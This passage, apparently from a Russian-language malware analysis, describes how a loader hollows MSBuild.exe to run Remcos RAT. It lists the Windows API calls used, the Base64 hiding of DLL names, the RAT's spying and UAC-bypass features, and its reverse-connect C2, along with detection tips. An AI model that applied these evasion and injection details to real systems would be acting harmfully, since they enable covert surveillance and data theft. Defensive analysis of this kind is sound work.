      \u0415\u0433\u043e \u0432\u044b\u0437\u043e\u0432 \u0438\u0437 PowerShell \u043d\u0435 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0434\u0438\u043a\u043e<\/strong>. \u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0438 CI-\u043f\u0430\u0439\u043f\u043b\u0430\u0439\u043d\u044b \u0434\u0435\u043b\u0430\u044e\u0442 \u044d\u0442\u043e \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u043e. \u0410\u043d\u0430\u043b\u0438\u0442\u0438\u043a, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u0438\u0434\u0438\u0442 powershell.exe \u2192 MSBuild.exe<\/code>, \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u0434\u0443\u043c\u0430\u0442\u044c\u0441\u044f, \u043d\u043e \u043d\u0435 \u0444\u0430\u043a\u0442, \u0447\u0442\u043e \u0437\u0430\u0446\u0435\u043f\u0438\u0442\u0441\u044f.<\/p>\n<\/li>\n<\/ol>\n
      \u00a0\u0412 \u0441\u0443\u043c\u043c\u0435 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u0438\u0434\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440. \u041b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0439, \u0441\u0435\u0442\u0435\u0432\u043e\u0439, \u0441\u043a\u0443\u0447\u043d\u044b\u0439.<\/p>\n
      \u041c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u2014 \u043a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u0439 process hollowing. \u0421\u0431\u043e\u0440\u043a\u0430 \u0441\u043e\u0437\u0434\u0430\u0451\u0442 MSBuild \u0432 \u043f\u0440\u0438\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u043e\u043c \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0438, \u043f\u043e\u0442\u043e\u043c \u0447\u0438\u0442\u0430\u0435\u0442 \u0443 \u043d\u0435\u0433\u043e \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0433\u043b\u0430\u0432\u043d\u043e\u0433\u043e \u043f\u043e\u0442\u043e\u043a\u0430, \u043d\u0430\u0445\u043e\u0434\u0438\u0442 \u0432 PEB (Process Environment Block) \u0430\u0434\u0440\u0435\u0441 \u0431\u0430\u0437\u043e\u0432\u043e\u0433\u043e \u043e\u0431\u0440\u0430\u0437\u0430, \u043e\u0442\u0432\u044f\u0437\u044b\u0432\u0430\u0435\u0442 \u043e\u0442 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u043e\u0431\u0440\u0430\u0437 MSBuild, \u0432\u044b\u0434\u0435\u043b\u044f\u0435\u0442 \u0432 \u0435\u0433\u043e \u0430\u0434\u0440\u0435\u0441\u043d\u043e\u043c \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0435 \u043f\u0430\u043c\u044f\u0442\u044c \u043f\u043e\u0434 \u043d\u043e\u0432\u044b\u0439 \u043e\u0431\u0440\u0430\u0437, \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0442\u0443\u0434\u0430 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0438 \u0438 \u0441\u0435\u043a\u0446\u0438\u0438 \u0444\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438, \u043f\u0440\u0430\u0432\u0438\u0442 \u0431\u0430\u0437\u043e\u0432\u044b\u0439 \u0430\u0434\u0440\u0435\u0441 \u0432 PEB, \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u043f\u043e\u0442\u043e\u043a\u0430 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0435\u0433\u043e \u0441\u043d\u043e\u0432\u0430.<\/p>\n
      \u041d\u0435\u043c\u043d\u043e\u0433\u043e \u043f\u0440\u043e process hollowing<\/p>\n
      \n\u0421\u043a\u0440\u044b\u0442\u044b\u0439 \u0442\u0435\u043a\u0441\u0442<\/summary>\n
      \n
      \u0415\u0441\u043b\u0438 \u0438\u0441\u043a\u0430\u0442\u044c \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u044e, \u0442\u043e \u044d\u0442\u043e \u0442\u0430\u043a\u043e\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u043e\u0447\u0435\u043d\u044c \u043f\u043e\u0445\u043e\u0436 \u043d\u0430 \u0437\u043e\u043c\u0431\u0438 \u0432\u0438\u0440\u0443\u0441. \u041d\u043e \u043d\u0435 \u0441\u0442\u043e\u0438\u0442 \u043f\u0443\u0442\u0430\u0442\u044c \u0441 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430\u043c\u0438-\u0437\u043e\u043c\u0431\u0438 \u0432 Unix: \u043e\u043d\u0438 \u0442\u0430\u043c \u0434\u0430\u0432\u043d\u043e \u043c\u0451\u0440\u0442\u0432\u044b \u0438 \u043f\u0440\u043e\u0441\u0442\u043e \u0437\u0430\u043d\u0438\u043c\u0430\u044e\u0442 \u0441\u0442\u0440\u043e\u0447\u043a\u0443 \u0432 \u0442\u0430\u0431\u043b\u0438\u0446\u0435. \u0410 \u043d\u0430\u0448 MSBuild \u0436\u0438\u0432 \u0438 \u043e\u0447\u0435\u043d\u044c \u0437\u0430\u043d\u044f\u0442: \u0443 \u043d\u0435\u0433\u043e \u043f\u0440\u0435\u0436\u043d\u0435\u0435 \u0438\u043c\u044f, \u043f\u043e\u0434\u043f\u0438\u0441\u044c Microsoft \u0438 \u0440\u043e\u0434\u043d\u043e\u0439 \u043f\u0443\u0442\u044c \u043d\u0430 \u0434\u0438\u0441\u043a\u0435, \u043d\u043e \u00ab\u043c\u043e\u0437\u0433\u00bb \u0435\u043c\u0443 \u0443\u0436\u0435 \u0437\u0430\u043c\u0435\u043d\u0438\u043b\u0438, \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0441\u043e\u0432\u0441\u0435\u043c \u0434\u0440\u0443\u0433\u043e\u0435. \u041e\u0434\u043d\u0430\u043a\u043e \u0434\u043b\u044f «\u043b\u044e\u0434\u0435\u0439» \u043e\u043d \u043f\u043e \u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043a\u0430\u043a «\u0447\u0435\u043b\u043e\u0432\u0435\u043a». \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0441\u043e\u0437\u0434\u0430\u0451\u0442\u0441\u044f \u0432 \u043f\u0440\u0438\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u043e\u043c \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0438, \u0437\u0430\u0442\u0435\u043c \u0438\u0437 \u0435\u0433\u043e \u0430\u0434\u0440\u0435\u0441\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0430 \u0432\u044b\u043d\u0438\u043c\u0430\u0435\u0442\u0441\u044f \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u043e\u0431\u0440\u0430\u0437, \u043d\u0430 \u0435\u0433\u043e \u043c\u0435\u0441\u0442\u043e \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0447\u0443\u0436\u0430\u044f \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0430, \u0432 PEB \u043f\u0440\u0430\u0432\u0438\u0442\u0441\u044f \u0431\u0430\u0437\u043e\u0432\u044b\u0439 \u0430\u0434\u0440\u0435\u0441, \u0438 \u043f\u043e\u0442\u043e\u043a \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u0441\u043d\u043e\u0432\u0430. \u0414\u043b\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0432\u0441\u0451 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043a\u0430\u043a \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u0441\u043b\u0443\u0447\u0438\u043b\u043e\u0441\u044c. \u0412\u044b\u0434\u0430\u0451\u0442 \u043f\u043e\u0434\u043c\u0435\u043d\u0443 \u0442\u043e\u043b\u044c\u043a\u043e \u0442\u043e, \u0447\u0442\u043e \u043a\u043e\u0434 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u0442\u044c \u0441 \u0444\u0430\u0439\u043b\u043e\u043c \u043d\u0430 \u0434\u0438\u0441\u043a\u0435. <\/p>\n<\/div>\n<\/details>\n
      \u0412\u0441\u0451 \u044d\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 \u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u0432\u044b\u0437\u043e\u0432\u044b Windows: CreateProcessA<\/code>, GetThreadContext<\/code>, ReadProcessMemory<\/code>, ZwUnmapViewOfSection<\/code>, VirtualAllocEx<\/code>, WriteProcessMemory<\/code>, VirtualProtectEx<\/code>, SetThreadContext<\/code>, ResumeThread<\/code>. \u041f\u0440\u0438\u0447\u0451\u043c \u0438\u043c\u0435\u043d\u0430 \u043d\u0443\u0436\u043d\u044b\u0445 DLL \u043d\u0435 \u043b\u0435\u0436\u0430\u0442 \u0432 \u0441\u0431\u043e\u0440\u043a\u0435 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0442\u0435\u043a\u0441\u0442\u043e\u043c \u2014 \u043e\u043d\u0438 \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0432 Base64 (kernel32<\/code>, ntdll<\/code>), \u0447\u0442\u043e\u0431\u044b \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u044b \u043f\u043e \u0441\u0442\u0440\u043e\u043a\u0430\u043c \u043d\u0435 \u043d\u0430\u0445\u043e\u0434\u0438\u043b\u0438. \u0424\u0443\u043d\u043a\u0446\u0438\u0438 \u0440\u0430\u0437\u0440\u0435\u0448\u0430\u044e\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 GetProcAddress<\/code> \u0438 \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u044e\u0442\u0441\u044f \u0432 \u0434\u0435\u043b\u0435\u0433\u0430\u0442\u044b.<\/p>\n
      \u041f\u043e\u0441\u043b\u0435 ResumeThread<\/code> \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0441 \u0438\u043c\u0435\u043d\u0435\u043c MSBuild.exe<\/code>, \u0441 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u043e\u0439 \u043f\u043e\u0434\u043f\u0438\u0441\u044c\u044e Microsoft, \u0441 \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u044b\u043c \u043f\u0443\u0442\u0451\u043c. \u0418 \u0432\u043d\u0443\u0442\u0440\u0438 \u044d\u0442\u043e\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u2014 \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u043d\u043e \u0434\u0440\u0443\u0433\u043e\u0439 \u043a\u043e\u0434.<\/p>\n
      \u0410 \u0432\u043d\u0443\u0442\u0440\u0438 \u2014 Remcos RAT \u0432\u0435\u0440\u0441\u0438\u0438 7.3.1 Pro. \u042d\u0442\u043e \u043d\u0435 \u00ab\u0441\u0442\u0438\u043b\u0435\u0440 \u043d\u0430 \u043a\u043e\u043b\u0435\u043d\u043a\u0435\u00bb \u0438 \u043d\u0435 \u043e\u0434\u043d\u043e\u0440\u0430\u0437\u043e\u0432\u0430\u044f \u0441\u0430\u043c\u043e\u0434\u0435\u043b\u043a\u0430. Remcos \u2014 \u043a\u043e\u043c\u043c\u0435\u0440\u0447\u0435\u0441\u043a\u0438\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u043e\u0434\u0430\u0451\u0442\u0441\u044f \u043d\u0430 \u043b\u0435\u0433\u0430\u043b\u044c\u043d\u043e\u043c \u0441\u0430\u0439\u0442\u0435 \u043a\u0430\u043a \u00ab\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u043e \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f\u00bb, \u0438 \u0443\u0436\u0435 \u043c\u043d\u043e\u0433\u043e \u043b\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u044b\u0439 RAT. \u0424\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442: \u044d\u0442\u043e \u043d\u0435 \u00ab\u0443\u043a\u0440\u0430\u0441\u0442\u044c \u043f\u0430\u0440\u043e\u043b\u0438 \u0438 \u0443\u0439\u0442\u0438\u00bb, \u044d\u0442\u043e \u00ab\u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u043c\u0430\u0448\u0438\u043d\u043e\u0439\u00bb.<\/p>\n
      \"Remcos\"<\/p>\n
      Remcos<\/figcaption><\/div>\n<\/figure>\n
      \u0427\u0442\u043e \u043e\u043d \u0443\u043c\u0435\u0435\u0442:<\/p>\n
        \n
      1. \n
        \u00a0\u041a\u0435\u0439\u043b\u043e\u0433\u0433\u0435\u0440<\/strong>, \u043f\u0440\u0438\u0447\u0451\u043c \u0432 \u0434\u0432\u0443\u0445 \u0440\u0435\u0436\u0438\u043c\u0430\u0445. \u041e\u043d\u043b\u0430\u0439\u043d \u2014 \u043f\u0440\u044f\u043c\u043e \u0432 \u043c\u043e\u043c\u0435\u043d\u0442 \u043d\u0430\u0431\u043e\u0440\u0430, \u0441 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u043e\u043c \u0447\u0435\u0440\u0435\u0437 SetWindowsHookEx<\/code>. \u041e\u0444\u0444\u043b\u0430\u0439\u043d \u2014 \u0441 \u043d\u0430\u043a\u043e\u043f\u043b\u0435\u043d\u0438\u0435\u043c \u0432 \u0444\u0430\u0439\u043b, \u0435\u0441\u043b\u0438 \u0441\u0432\u044f\u0437\u0438 \u0441 \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u043e\u043c \u043d\u0435\u0442.<\/p>\n<\/li>\n
      2. \n
        \u0421\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u044b<\/strong> \u0447\u0435\u0440\u0435\u0437 GDI \u0438 GDI+: BitBlt<\/code>, GetDIBits<\/code>, GdipSaveImageToStream<\/code>. \u041a\u0430\u0440\u0442\u0438\u043d\u043a\u0438 \u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u0443\u044e \u043f\u0430\u043f\u043a\u0443.<\/p>\n<\/li>\n
      3. \n
        \u0417\u0430\u043f\u0438\u0441\u044c \u0441 \u043c\u0438\u043a\u0440\u043e\u0444\u043e\u043d\u0430<\/strong> \u0447\u0435\u0440\u0435\u0437 waveInOpen<\/code>, waveInStart<\/code>, waveInAddBuffer<\/code>. \u0422\u043e \u0435\u0441\u0442\u044c \u0434\u0430, \u043e\u043d \u043c\u043e\u0436\u0435\u0442 \u0441\u043b\u044b\u0448\u0430\u0442\u044c, \u0447\u0442\u043e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0432 \u043a\u043e\u043c\u043d\u0430\u0442\u0435.<\/p>\n<\/li>\n
      4. \n
        \u0411\u0443\u0444\u0435\u0440 \u043e\u0431\u043c\u0435\u043d\u0430<\/strong> \u2014 \u0447\u0442\u0435\u043d\u0438\u0435 \u0438 \u0437\u0430\u043f\u0438\u0441\u044c. \u0422\u043e, \u0447\u0442\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043a\u043e\u043f\u0438\u0440\u0443\u0435\u0442, \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440 \u0432\u0438\u0434\u0438\u0442.<\/p>\n<\/li>\n
      5. \n
        \u0423\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0432\u0432\u043e\u0434\u043e\u043c<\/strong> \u2014 SendInput<\/code>, mouse_event<\/code>, SetForegroundWindow<\/code>. \u041c\u043e\u0436\u043d\u043e \u0434\u0432\u0438\u0433\u0430\u0442\u044c \u043c\u044b\u0448\u044c \u0438 \u043d\u0430\u0436\u0438\u043c\u0430\u0442\u044c \u043a\u043b\u0430\u0432\u0438\u0448\u0438 \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.<\/p>\n<\/li>\n
      6. \n
        \u0424\u0430\u0439\u043b\u044b, \u0440\u0435\u0435\u0441\u0442\u0440, \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b<\/strong> \u2014 \u043f\u043e\u043b\u043d\u044b\u0439 \u043d\u0430\u0431\u043e\u0440: \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u0438\u0435, \u0447\u0442\u0435\u043d\u0438\u0435, \u0437\u0430\u043f\u0438\u0441\u044c, \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u0435, \u0437\u0430\u043f\u0443\u0441\u043a.<\/p>\n<\/li>\n
      7. \n
        \u0417\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432<\/strong> \u2014 URLDownloadToFileW<\/code>, InternetOpenUrlW<\/code>, ShellExecuteW<\/code>. \u0415\u0441\u043b\u0438 \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0443 \u043d\u0443\u0436\u043d\u043e \u0447\u0442\u043e-\u0442\u043e \u0434\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0432\u0442\u043e\u0440\u044b\u043c \u044d\u0448\u0435\u043b\u043e\u043d\u043e\u043c \u2014 \u043f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430.<\/p>\n<\/li>\n
      8. \n
        \u041e\u0431\u0445\u043e\u0434 UAC<\/strong> \u0447\u0435\u0440\u0435\u0437 COM-elevation moniker (CoGetObject<\/code>) \u2014 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0439 \u043f\u0440\u0438\u0451\u043c, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u0434\u043d\u044f\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0434\u043e \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043f\u0440\u0438 \u043f\u0435\u0440\u0432\u043e\u043c \u0443\u0434\u043e\u0431\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435.<\/p>\n<\/li>\n
      9. \n
        \u0414\u0430\u043d\u043d\u044b\u0435 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u043e\u0432<\/strong> \u2014 Chrome, Brave, Opera, Opera GX. \u041f\u0443\u0442\u0438 \u043a \u043f\u0440\u043e\u0444\u0438\u043b\u044f\u043c \u043f\u0440\u043e\u043f\u0438\u0441\u0430\u043d\u044b \u044f\u0432\u043d\u043e.<\/p>\n<\/li>\n
      10. \n
        \u0418 \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0441 \u0432\u044b\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435\u043c<\/strong> \u0447\u0435\u0440\u0435\u0437 ExitWindowsEx<\/code>. \u041f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u043c\u0430\u0448\u0438\u043d\u043e\u0439, \u0432 \u043e\u0431\u0449\u0435\u043c.<\/p>\n<\/li>\n<\/ol>\n
        \u0421\u0435\u0442\u0435\u0432\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c \u2014 \u043e\u0431\u0440\u0430\u0442\u043d\u044b\u0439 \u043a\u043e\u043d\u043d\u0435\u043a\u0442. \u0418 \u044d\u0442\u043e \u0432\u0430\u0436\u043d\u043e. \u0415\u0441\u043b\u0438 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u043d\u0430 \u0438\u043c\u043f\u043e\u0440\u0442 \u0438\u0437 \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0439, \u0442\u0430\u043c \u0435\u0441\u0442\u044c socket<\/code>, getaddrinfo<\/code>, connect<\/code>, send<\/code>, recv<\/code>. \u0418 \u043d\u0435\u0442<\/strong> bind<\/code>, listen<\/code>, accept<\/code>. \u0424\u0443\u043d\u043a\u0446\u0438\u0439 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u044f \u043f\u043e\u0440\u0442\u0430 \u043d\u0430 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u0435 \u043d\u0435\u0442 \u0432\u043e\u043e\u0431\u0449\u0435.<\/p>\n
        \u042d\u0442\u043e \u0437\u043d\u0430\u0447\u0438\u0442, \u0447\u0442\u043e Remcos \u043d\u0435 \u0441\u043b\u0443\u0448\u0430\u0435\u0442 \u0432\u0445\u043e\u0434\u044f\u0449\u0438\u0435 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f. \u041e\u043d \u0441\u0442\u0443\u0447\u0438\u0442\u0441\u044f \u0441\u0430\u043c. \u041d\u0430 \u0430\u0434\u0440\u0435\u0441 \u0438\u0437 \u043a\u043e\u043d\u0444\u0438\u0433\u0430, \u043d\u0430 \u043f\u043e\u0440\u0442 2404, \u043f\u043e TCP. \u0411\u0435\u0437 TLS \u2014 \u0432 \u044d\u0442\u043e\u0439 \u0441\u0431\u043e\u0440\u043a\u0435 TLS \u0432\u044b\u043a\u043b\u044e\u0447\u0435\u043d, \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u0438\u0434\u0451\u0442 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0442\u0435\u043a\u0441\u0442\u043e\u043c \u0441\u043e \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u043e\u043c Remcos. \u041f\u043e\u0441\u043b\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u043e\u043d \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0439 \u043f\u0430\u043a\u0435\u0442 \u0441\u043e \u0441\u0432\u0435\u0434\u0435\u043d\u0438\u044f\u043c\u0438 \u043e \u043c\u0430\u0448\u0438\u043d\u0435, \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0438 \u0434\u0435\u0440\u0436\u0438\u0442 \u0441\u0435\u0441\u0441\u0438\u044e \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u0439. \u041a\u043e\u043c\u0430\u043d\u0434\u044b \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430 \u043f\u0440\u0438\u0445\u043e\u0434\u044f\u0442 \u0432 \u0442\u043e\u0442 \u0436\u0435 \u0441\u043e\u043a\u0435\u0442.<\/p>\n
        \u0414\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u043d\u044b\u0445 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u044d\u0442\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u043b\u043e\u0432\u0438\u0442\u044c \u0435\u0433\u043e \u043d\u0430\u0434\u043e \u043d\u0430 \u0438\u0441\u0445\u043e\u0434\u044f\u0449\u0435\u043c \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0438. \u041f\u043e \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u0435 \u0442\u0440\u0430\u0444\u0438\u043a\u0430, \u043f\u043e \u043f\u043e\u0440\u0442\u0443, \u043f\u043e \u0430\u043d\u043e\u043c\u0430\u043b\u0438\u0438 \u00abMSBuild.exe \u0441\u0442\u0443\u0447\u0438\u0442\u0441\u044f \u043d\u0430 IP, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0438\u043a\u043e\u0433\u0434\u0430 \u043d\u0435 \u0431\u044b\u043b \u0430\u0434\u0440\u0435\u0441\u043e\u043c Microsoft\u00bb.<\/p>\n
        \u0410 \u0442\u0435\u043f\u0435\u0440\u044c \u2014 \u0441\u0430\u043c\u0430\u044f \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u0430\u044f \u0447\u0430\u0441\u0442\u044c. \u0418 \u0432 \u044d\u0442\u043e\u0439 \u0446\u0435\u043f\u043e\u0447\u043a\u0435, \u0438 \u0432 \u0441\u0430\u043c\u043e\u0439 \u0441\u0431\u043e\u0440\u043a\u0435 Remcos \u0435\u0441\u0442\u044c \u0440\u0435\u0436\u0438\u043c\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u043d\u0435 \u0431\u044b\u043b\u0438<\/strong>.<\/p>\n
          \n
        1. \n
          \u0423 \u043b\u043e\u0430\u0434\u0435\u0440\u0430 \u0438\u0437 \u0447\u0435\u0442\u0432\u0451\u0440\u0442\u043e\u0433\u043e \u0441\u043b\u043e\u044f \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 \u0437\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u044f \u0441\u0442\u043e\u044f\u043b \u0432 \u043d\u0443\u043b\u0435. \u042d\u0442\u043e \u0437\u043d\u0430\u0447\u0438\u0442: \u043d\u0438 \u0444\u0430\u0439\u043b\u0430 \u0432 %ProgramData%<\/code>, \u043d\u0438 \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 Run<\/code> \u0438\u043b\u0438 RunOnce<\/code>. \u041f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u043c\u0430\u0448\u0438\u043d\u044b \u0432\u0441\u0451 \u0438\u0441\u0447\u0435\u0437\u0430\u0435\u0442 \u2014 \u0434\u043e \u0442\u0435\u0445 \u043f\u043e\u0440, \u043f\u043e\u043a\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0441\u043d\u043e\u0432\u0430 \u043d\u0435 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442 .js<\/code>.<\/p>\n<\/li>\n
        2. \n
